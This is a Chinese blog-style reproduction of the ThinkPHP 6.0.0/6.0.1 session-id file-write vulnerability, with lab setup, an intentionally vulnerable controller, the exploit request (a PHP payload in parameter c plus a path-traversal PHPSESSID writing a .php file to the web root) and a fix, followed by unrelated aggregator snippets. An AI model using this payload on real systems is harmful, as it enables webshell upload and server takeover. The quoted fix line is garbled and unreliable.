ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
      • 安装thinkphp6
      • 漏洞信息配置
    • 漏洞利用
  • 修复建议

漏洞名称

漏洞描述

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

影响版本

ThinkPHP 6.0.0
ThinkPHP 6.0.1

漏洞复现

环境搭建

受害者IP:192.168.10.145
攻击者IP:127.0.0.1

安装thinkphp6

下载PHPstudy_pro,网上一堆自己找吧,链接不推了。
利用PHPStudy_pro对环境进行安装Composer2.5.8

在这里插入图片描述

创建网站,域名think6,会在think6目录下生成.htaccess文件和nginx.htaccess文件,将这两个文件移动到上个目录,也就是www目录下。

在这里插入图片描述

打开composer,composer2.5.8,php>=7.2

在这里插入图片描述
在这里插入图片描述
在www目录下面执行这个命令

cd ../
composer create-project topthink/think think6(think6自定义,这个会生成一个文件夹)  

将 think6/composer.json 文件的 “topthink/framework”: “^6.0.0” 改成 6.0.0 版本,并执行更新命令

在这里插入图片描述

进入tp6目录
cd tp6
composer update

在本地访问网站为6.0.0,则成功搭建。
在这里插入图片描述

漏洞信息配置

构造位置:think6\app\controller\Index.php
需要增加构造的内容:

use think\facade\Session;
session::set('demo',$_GET['c']);

在这里插入图片描述

/think6/app/middleware.php 文件开启session,去掉注释session的//

在这里插入图片描述

漏洞利用

构造参数c和phpsessid;

index?c=<?php phpinfo();?>
PHPSESSID=../../../../public/1omg12377.php

在这里插入图片描述

访问public目录下的1omg12377.php文件。

在这里插入图片描述

修复建议

官方修复建议:对session id 加一个过滤,使用ctype_alnum()

$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id&& ? $id : md5(microtime(true) . session_create_id());

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/305741.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Typescript -- 类型兼容

类型兼容性 typscript中的类型兼容是基于结构子类型的&#xff08;子类型兼容和赋值兼容&#xff09;&#xff0c;即只使用其成员来判定是兼容&#xff0c;这是根据JavaScript的特性设计的&#xff0c;因为js中有很多匿名对象&#xff0c;只要y的所有成员都能在对象x中能找到&…

nginx源码分析-1

使用gdb查看函数上下文&#xff1a; gdb attach nginx的work线程 监听端口状态时&#xff1a; 断点打在ngx_http_process_request 并通过浏览器触发请求时&#xff1a;

作业--day38

1.定义一个Person类&#xff0c;包含私有成员&#xff0c;int *age&#xff0c;string &name&#xff0c;一个Stu类&#xff0c;包含私有成员double *score&#xff0c;Person p1&#xff0c;写出Person类和Stu类的特殊成员函数&#xff0c;并写一个Stu的show函数&#xff…

Springboot实现登录注册

功能&#xff1a;1、实现用户的登录 2、实现用户的注册以及重名的判断 LoginControl&#xff1a; package com.example.demo.controls;import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; imp…

C#上位机与欧姆龙PLC的通信06---- HostLink协议(FINS版)

1、介绍 对于上位机开发来说&#xff0c;欧姆龙PLC支持的主要的协议有Hostlink协议&#xff0c;FinsTcp/Udp协议&#xff0c;EtherNetIP协议&#xff0c;本项目使用Hostlink协议。 Hostlink协议是欧姆龙PLC与上位机链接的公开协议。上位机通过发送Hostlink命令&#xff0c;可…

《数据库开发实践》之触发器

一、什么是触发器&#xff1f; 1.概念&#xff1a; 简单来说触发器就是一种特殊的存储过程&#xff0c;在数据库服务器触发事件的时候会自动执行其SQL语句集。 2.构成四要素&#xff1a; &#xff08;1&#xff09;名称&#xff1a;要符合标识符命名规则 &#xff08;2&am…

NFC物联网智能锁安全测试研究

针对短距离无线通信在物联网智能锁实际运用中的安全机制问题&#xff0c;通过理论分析和实际操作演示潜在的攻击流程&#xff0c;发现其存在的安全漏洞并提出可行的加固方法&#xff0c;并对加固后的通信系统进行CPN建模与安全性分析&#xff0c;对无线通信协议的安全性能提升、…

动态内存管理(2)

目录 4. 几个经典的笔试题 4.1 题目1&#xff1a; 4.2 题目2&#xff1a; 4.3 题目3&#xff1a; 4.4 题目4&#xff1a; 5. C/C程序的内存开辟 6. 柔性数组 6.1 柔性数组的特点&#xff1a; 6.2 柔性数组的使用 6.3 柔性数组的优势 4. 几个经典的笔试题 4.1 题目1&#xff1a…

生存分析序章3——生存分析之Python篇:介绍生存分析和scikit-survival库

写在开头 在现代数据科学领域&#xff0c;生存分析是一项关键的统计方法&#xff0c;用于研究个体在一定时间内事件发生的概率。无论是医学、金融还是社会科学&#xff0c;生存分析都为我们提供了一种深入洞察数据的途径。在Python生态系统中&#xff0c;有一个强大的工具——…

HarmonyOS 签名打包Hap(s)、App(s)

1. 基本概念 HarmonyOS应用通过数字证书&#xff08;.cer文件&#xff09;和Profile文件&#xff08;.p7b文件&#xff09;来保证应用的完整性&#xff0c;数字证书和Profile文件可通过申请发布证书和Profile文件获取。   申请数字证书和Profile文件前&#xff0c;首先需要通…

【ES】es介绍

倒排索引&#xff08;Inverted Index&#xff09;和正排索引&#xff08;Forward Index&#xff09; 正排索引是一种以文档为单位的索引结构&#xff0c;它将文档中的每个单词或词组与其所在的文档进行映射关系的建立。正排索引通常用于快速检索指定文档的内容&#xff0c;可以…

一键访问多功能数据解决方案:如何轻松构建和管理APITable智能多维表格

文章目录 前言1. 部署APITable2. cpolar的安装和注册3. 配置APITable公网访问地址4. 固定APITable公网地址 前言 vika维格表作为新一代数据生产力平台&#xff0c;是一款面向 API 的智能多维表格。它将复杂的可视化数据库、电子表格、实时在线协同、低代码开发技术四合为一&am…